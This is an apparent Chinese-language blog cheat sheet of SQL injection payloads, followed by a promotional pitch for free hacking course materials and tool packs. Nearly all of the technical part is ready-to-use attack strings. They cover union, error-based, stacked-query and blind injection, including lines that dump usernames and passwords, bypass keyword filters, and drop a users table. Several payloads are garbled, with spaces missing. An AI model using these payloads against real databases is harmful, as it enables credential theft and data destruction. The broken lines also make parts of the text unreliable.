-
联合注入Payload
-
报错注入Payload
-
extractvalue函数
-
updatexml函数
-
BigInt数据类型溢出
-
floor函数
-
堆叠注入Payload
-
盲注Payload
-
布尔盲注
SQL
联合注入Payload
#查字段 1' order by 1# 1' order by 100# #联合查询(假设字段为3) -1' union select 1,2,3# //-1使页面报错,方便显示 #查所有数据库名(假设回显为2) -1' union select 1,database(),3# -1' union select 1,database(),3 from information_schema.tables# #查看版本 -1' union select 1,version(),3# #查指定库的表名 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'# #查指定表的列名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名'# #查看指定列名的内容 -1' union select 1,group_concat(列名1,0x3a,列名2),3 from 库名.列名#
报错注入Payload
extractvalue函数
#extractvalue() //空格和"="被过滤的情况 1'^extractvalue(1,concat(0x5c,(select(database()))))# //爆库名 1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('库名'))))# //查表名 1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('表名'))))# //查列名 1'^extractvalue(1,concat(0x7e,(select(left(列名,30))from(库名.表名))))# //查从左数30个字段 1'^extractvalue(1,concat(0x7e,(select(right(列名,30))from(库名.表名))))#
updatexml函数
#updatexml()函数 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# //爆库 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),0x7e),1)# //查表名 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)# //查列名 1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)# //查数据
BigInt数据类型溢出
#BigInt数据类型溢出--exp()或pow() 1' and exp(~(select * from (select user())a))# //查看当前库的权限 1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))# //查表名 1' and exp(~(select * from (select column_name from information_schema.columns where table_name='表名' limit 0,1)a))# //查列名 1' and exp(~(select * from(select '列名' from '表名' limit 0,1)))# //获取对应信息
floor函数
#floor()函数 1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
堆叠注入Payload
常规查询语句
`1';show databases;# //查库名· 1';show tables;# //查表名 1';show columns from `表名`;# //查列名,表名用反引号包围 `
rename改表改列
`1';RENAME TABLE `表1` TO `表2`;RENAME TABLE `表3` TO `表1`;ALTER TABLE `表1` CHANGE `列1` `列2` VARCHAR(100) ;show columns from 表1;# //将表1改名为表2,将表3改名为表1,再将表1的列1改为列2,最后查看表1的列名信息 //适用于查看没有权限的表 `
handler读取表中数据
1';HANDLER 表名 OPEN;HANDLER 表名 READ FIRST;HANDLER 表名 CLOSE;# //此方法使用于在查列时select被禁的情况,逻辑为打开指定表名,读取表中第一行数据,关闭表并释放资源。
set转换操作符
1;set sql_mode=PIPES_AS_CONCAT;select 1 //适用于后端代码采用'||'判断的情况。
sql预处理
`PREPARE hacker from concat('s','elect', ' * from `表名` '); EXECUTE hacker;# //绕过特定字符串的过滤 set@a=hex编码值;prepare hacker from @a;execute hacker;# //结合hex(进制)编码实现绕过 `
盲注Payload
基于布尔盲注Payload:
-
id=1 AND (SELECT COUNT(*) FROM users) > 0 -
id=1 AND SUBSTRING((SELECT version()), 1, 1) = '5' -
id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97 -
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10 -
id=1 AND LENGTH((SELECT database())) = 6
基于时间盲注Payload:
-
id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL) -
id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL) -
id=1; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='public' AND table_name='users'), BENCHMARK(5000000, SHA1('a')), NULL) -
id=1; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 5, SLEEP(2), NULL) -
id=1; IF((SELECT SUM(LENGTH(username)) FROM users) > 20, BENCHMARK(3000000, MD5('a')), NULL)
错误基于盲注Payload:
-
id=1 UNION ALL SELECT 1,2,table_name FROM information_schema.tables -
id=1 UNION ALL SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users' -
id=1 UNION ALL SELECT username,password,3 FROM users -
id=1'; SELECT * FROM users WHERE username='admin' -- -
id=1'; DROP TABLE users; --
布尔盲注
判断数据库名称长度
1' and length(database())>20 # //判断数据库名称长度是否大于20
SELECT length('Hello World'); -- 输出 11 SELECT length(column_name) FROM table_name; -- 计算表中某一列的长度
获取数据库名称组成
`1' and ascii(substr(database(),1,1))>20 #`
判断表个数
1' and (select count(table_name) from information_schema.tables where table_schema=database()) <10#
获取表名称长度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 #
`1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #`
`//第一个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))判断表达式 # //第二个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 # //第三个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #`
获取列数
`1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')判断表达式 #`
获取列名长度
//判断第一个列名长度 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))判断表达式 # //判断第二个列名长度 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))判断表达式 #
获取列名字符组成
//获取 users 表中第一个列名的第一个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users'limit0,1),1,1))判断表达式 # //获取 users 表中第二个列名的第一个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))判断表达式 # //获取 users 表中第三个列名的第一个字符 1'andascii(substr((select column_name from information_schema.columns where table_name = 'users'limit2,1),1,1))判断表达式 # //获取 users 表中第三个列名的第二个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))判断表达式 # //获取 users 表中第三个列名的第三个字符 1'andascii(substr((select column_name from information_schema.columns where table_name = 'users'limit2,1),3,1))判断表达式 #
获取字段长度
//获取列中第一个字段长度 1' and length(substr((select user from users limit 0,1),1))判断表达式 # //获取列中第二个字段长度 1' and length(substr((select user from users limit 1,1),1))判断表达式 #
获取字段
//获取第一个字段的第一个字符 1' and ascii(substr((selectuserfromuserslimit0,1),1,1))判断表达式 # //获取第一个字段的第二个字符 1' and ascii(substr((select user from users limit 0,1),2,1))判断表达式 # //获取第二个字段的第一个字符 1'andascii(substr((selectuserfromuserslimit1,1),1,1))判断表达式 # //获取第二个字段的第二个字符 1' and ascii(substr((select user from users limit 1,1),2,1))判断表达式 #
判断数据库名称长度
1' and if(length(database())=1,sleep(5),1) if(expr1,expr2,expr3)函数:
判断数据库名称组成
1' and if(ascii(substr(database(),1,1))>90,sleep(5),1)#
判断表个数
`1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)`
获取表名称长度
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) #
获取表名称组成
1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) >= 100 and sleep(5)#
//获得第一个表名称的第二个字符 1' and (select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)# //获得第一个表名称的第三个字符 1' and (select ascii(substr(table_name, 3, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#
//获得第二个表名称的第一个字符 1' and (selectascii(substr(table_name, 1, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa'limit1,1) as second_table limit1) 判断表达式 andsleep(5)# //获得第二个表名称的第二个字符 1' and (select ascii(substr(table_name, 2, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)# //获得第二个表名称的第三个字符 1'and (selectascii(substr(table_name, 3, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa'limit1,1) as second_table limit1) 判断表达式 andsleep(5)# //以此类推
获取列数
`1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'guestbook')=3,sleep(5),1) #`
获取列名长度
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))判断表达式,sleep(5),1) #
获取列名字符组成
获取第一个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #
//获取第一个列名的第二个字符 1' and if((selectascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook'limit0,1) = 判断表达式, sleep(5), 1) # //获取第一个列名的第三个字符 1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) # //获取第二个列名的第一个字符 1'andif((selectascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook'limit1,1) = ASCII_VALUE, sleep(5), 1) # //获取第二个列名的第二个字符 1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) # //获取第二个列名的第三个字符 1'andif((selectascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook'limit1,1) = ASCII_VALUE, sleep(5), 1) # //获取第三个列名的第一个字符 1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 2,1) = ASCII_VALUE, sleep(5), 1) #
获取字段
1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #
//获取 user 列名的第一个字段的第二个字符 1' and if((selectascii(substring(column_name, 2, 1)) from information_schema.columns where table_name = 'users'limit0,1)判断表达式, sleep(5), 1) # //获取 user 列名的第一个字段的第三个字符 1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第一个字符 1'andif((SELECTASCII(SUBSTRING(column_name, 1, 1)) FROM information_schema.columns WHERE table_name = 'users'LIMIT1, 1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第二个字符 1' and if((SELECT ASCII(SUBSTRING(column_name, 2, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第三个字符 1'andif((selectascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users'limit1,1)判断表达式, sleep(5), 1) #
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
侵权,请联系删除。


被折叠的 条评论
为什么被折叠?



